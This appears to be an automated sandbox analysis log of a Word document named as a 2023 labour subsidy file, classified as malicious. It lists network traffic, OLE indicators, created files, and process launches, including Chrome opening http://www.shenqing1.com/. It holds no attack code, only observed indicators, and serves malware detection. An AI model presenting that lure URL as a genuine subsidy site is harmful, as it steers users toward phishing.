Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50077 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50053 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50088 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50076 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50099 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50031 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50043 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50100 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49969 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50020 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50054 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50006 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50065 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50098
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50097
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50099
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50075 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50052 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937

Source: unknown	HTTPS traffic detected: 20.190.181.3:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.4:49767 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.4:49834 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.4:49836 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.4:49934 version: TLS 1.2

Source: APASixthEditionOfficeOnline.xsl.0.dr	OLE indicator, VBA macros: true
Source: turabian.xsl.0.dr	OLE indicator, VBA macros: true
Source: mlaseventheditionofficeonline.xsl.0.dr	OLE indicator, VBA macros: true
Source: gostname.xsl.0.dr	OLE indicator, VBA macros: true
Source: gb.xsl.0.dr	OLE indicator, VBA macros: true
Source: iso690nmerical.xsl.0.dr	OLE indicator, VBA macros: true
Source: gosttitle.xsl.0.dr	OLE indicator, VBA macros: true
Source: ieee2006officeonline.xsl.0.dr	OLE indicator, VBA macros: true
Source: sist02.xsl.0.dr	OLE indicator, VBA macros: true
Source: chicago.xsl.0.dr	OLE indicator, VBA macros: true
Source: harvardanglia2008officeonline.xsl.0.dr	OLE indicator, VBA macros: true
Source: iso690.xsl.0.dr	OLE indicator, VBA macros: true

Source: ~WRF{05742E06-EA01-43F0-B064-D4D0309AF063}.tmp.0.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: APASixthEditionOfficeOnline.xsl.0.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: turabian.xsl.0.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: mlaseventheditionofficeonline.xsl.0.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: gostname.xsl.0.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: gb.xsl.0.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: iso690nmerical.xsl.0.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: gosttitle.xsl.0.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: ieee2006officeonline.xsl.0.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: sist02.xsl.0.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: chicago.xsl.0.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: harvardanglia2008officeonline.xsl.0.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: iso690.xsl.0.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false

Source: classification engine

Classification label: mal48.winDOCX@18/259@28/9

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

File created: C:\Program Files (x86)\Microsoft Office\root\vfs\Common AppData\Microsoft\Office\Heartbeat\HeartbeatCache.xml

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

File created: C:\Users\user\AppData\Roaming\Microsoft\Office

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

File created: C:\Users\user\AppData\Local\Temp\{AF7DBA7A-86BE-45D1-90EE-946D797784AC} - OProcSessId.dat

Jump to behavior

Source: 2023#U5e74#U4e2a#U4eba#U52b3#U52a8#U8865#U8d34.docx	OLE indicator, Word Document stream: true
Source: Equations.dotx.0.dr	OLE indicator, Word Document stream: true
Source: Element design set.dotx.0.dr	OLE indicator, Word Document stream: true
Source: Insight design set.dotx.0.dr	OLE indicator, Word Document stream: true
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	OLE indicator, Word Document stream: true
Source: ~WRD0000.tmp.0.dr	OLE indicator, Word Document stream: true
Source: ~WRD0002.tmp.0.dr	OLE indicator, Word Document stream: true

Source: 2023#U5e74#U4e2a#U4eba#U52b3#U52a8#U8865#U8d34.docx	OLE document summary: title field not present or empty
Source: 2023#U5e74#U4e2a#U4eba#U52b3#U52a8#U8865#U8d34.docx	OLE document summary: edited time not present or 0
Source: ~WRF{05742E06-EA01-43F0-B064-D4D0309AF063}.tmp.0.dr	OLE document summary: title field not present or empty
Source: ~WRF{05742E06-EA01-43F0-B064-D4D0309AF063}.tmp.0.dr	OLE document summary: author field not present or empty
Source: ~WRF{05742E06-EA01-43F0-B064-D4D0309AF063}.tmp.0.dr	OLE document summary: edited time not present or 0
Source: ~WRD0000.tmp.0.dr	OLE document summary: title field not present or empty

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: unknown	Process created: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE "C:\Program Files (x86)\Microsoft Office\Root\Office16\WINWORD.EXE" /Automation -Embedding
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://www.shenqing1.com/
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2044 --field-trial-handle=2032,i,2264180495487072933,6257516792534871649,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process created: C:\Windows\splwow64.exe C:\Windows\splwow64.exe 12288
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process created: C:\Windows\splwow64.exe C:\Windows\splwow64.exe 12288	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2044 --field-trial-handle=2032,i,2264180495487072933,6257516792534871649,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: 2023.LNK.0.dr	LNK file: ..\..\..\..\..\Desktop\2023#U5e74#U4e2a#U4eba#U52b3#U52a8#U8865#U8d34.docx
Source: Templates.LNK.0.dr	LNK file: ..\..\Templates

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: 2023#U5e74#U4e2a#U4eba#U52b3#U52a8#U8865#U8d34.docx	Initial sample: OLE zip file path = docProps/custom.xml
Source: 2023#U5e74#U4e2a#U4eba#U52b3#U52a8#U8865#U8d34.docx	Initial sample: OLE zip file path = word/media/image2.wmf
Source: Equations.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/document.xml
Source: Equations.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/settings.xml
Source: Equations.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/_rels/document.xml.rels
Source: Equations.dotx.0.dr	Initial sample: OLE zip file path = customXml/itemProps2.xml
Source: Equations.dotx.0.dr	Initial sample: OLE zip file path = docProps/custom.xml
Source: Equations.dotx.0.dr	Initial sample: OLE zip file path = customXml/_rels/item2.xml.rels
Source: Equations.dotx.0.dr	Initial sample: OLE zip file path = customXml/item2.xml
Source: Equations.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/webSettings.xml
Source: Equations.dotx.0.dr	Initial sample: OLE zip file path = [trash]/0000.dat
Source: Equations.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/styles.xml
Source: Equations.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/stylesWithEffects.xml
Source: Equations.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/fontTable.xml
Source: Element design set.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/settings.xml
Source: Element design set.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/_rels/document.xml.rels
Source: Element design set.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/document.xml
Source: Element design set.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/fontTable.xml
Source: Element design set.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/webSettings.xml
Source: Element design set.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/styles.xml
Source: Element design set.dotx.0.dr	Initial sample: OLE zip file path = customXml/itemProps2.xml
Source: Element design set.dotx.0.dr	Initial sample: OLE zip file path = customXml/item2.xml
Source: Element design set.dotx.0.dr	Initial sample: OLE zip file path = customXml/_rels/item2.xml.rels
Source: Element design set.dotx.0.dr	Initial sample: OLE zip file path = [trash]/0000.dat
Source: Element design set.dotx.0.dr	Initial sample: OLE zip file path = docProps/custom.xml
Source: Insight design set.dotx.0.dr	Initial sample: OLE zip file path = word/media/image2.jpg
Source: Insight design set.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/settings.xml
Source: Insight design set.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/document.xml
Source: Insight design set.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/_rels/document.xml.rels
Source: Insight design set.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/styles.xml
Source: Insight design set.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/webSettings.xml
Source: Insight design set.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/fontTable.xml
Source: Insight design set.dotx.0.dr	Initial sample: OLE zip file path = word/media/image10.jpeg
Source: Insight design set.dotx.0.dr	Initial sample: OLE zip file path = customXml/itemProps2.xml
Source: Insight design set.dotx.0.dr	Initial sample: OLE zip file path = customXml/item2.xml
Source: Insight design set.dotx.0.dr	Initial sample: OLE zip file path = customXml/_rels/item2.xml.rels
Source: Insight design set.dotx.0.dr	Initial sample: OLE zip file path = [trash]/0000.dat
Source: Insight design set.dotx.0.dr	Initial sample: OLE zip file path = docProps/custom.xml
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = word/theme/_rels/theme1.xml.rels
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = word/glossary/settings.xml
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = word/glossary/document.xml
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = word/glossary/_rels/document.xml.rels
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = word/_rels/settings.xml.rels
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = word/glossary/webSettings.xml
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = word/glossary/fontTable.xml
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = word/glossary/styles.xml
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = word/glossary/stylesWithEffects.xml
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = customXml/item2.xml
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = customXml/_rels/item2.xml.rels
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = customXml/itemProps3.xml
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = customXml/item3.xml
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = customXml/itemProps2.xml
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = customXml/_rels/item3.xml.rels
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = [trash]/0000.dat
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = docProps/custom.xml
Source: ~WRD0000.tmp.0.dr	Initial sample: OLE zip file path = docProps/custom.xml
Source: ~WRD0002.tmp.0.dr	Initial sample: OLE zip file path = word/glossary/document.xml
Source: ~WRD0002.tmp.0.dr	Initial sample: OLE zip file path = word/glossary/settings.xml
Source: ~WRD0002.tmp.0.dr	Initial sample: OLE zip file path = word/glossary/_rels/document.xml.rels
Source: ~WRD0002.tmp.0.dr	Initial sample: OLE zip file path = word/glossary/styles.xml
Source: ~WRD0002.tmp.0.dr	Initial sample: OLE zip file path = word/glossary/webSettings.xml
Source: ~WRD0002.tmp.0.dr	Initial sample: OLE zip file path = word/glossary/fontTable.xml

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\Common

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

File opened: C:\Program Files (x86)\Microsoft Office\root\vfs\SystemX86\MSVCR100.dll

Jump to behavior

Source: 2023#U5e74#U4e2a#U4eba#U52b3#U52a8#U8865#U8d34.docx

Initial sample: OLE indicators vbamacros = False

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
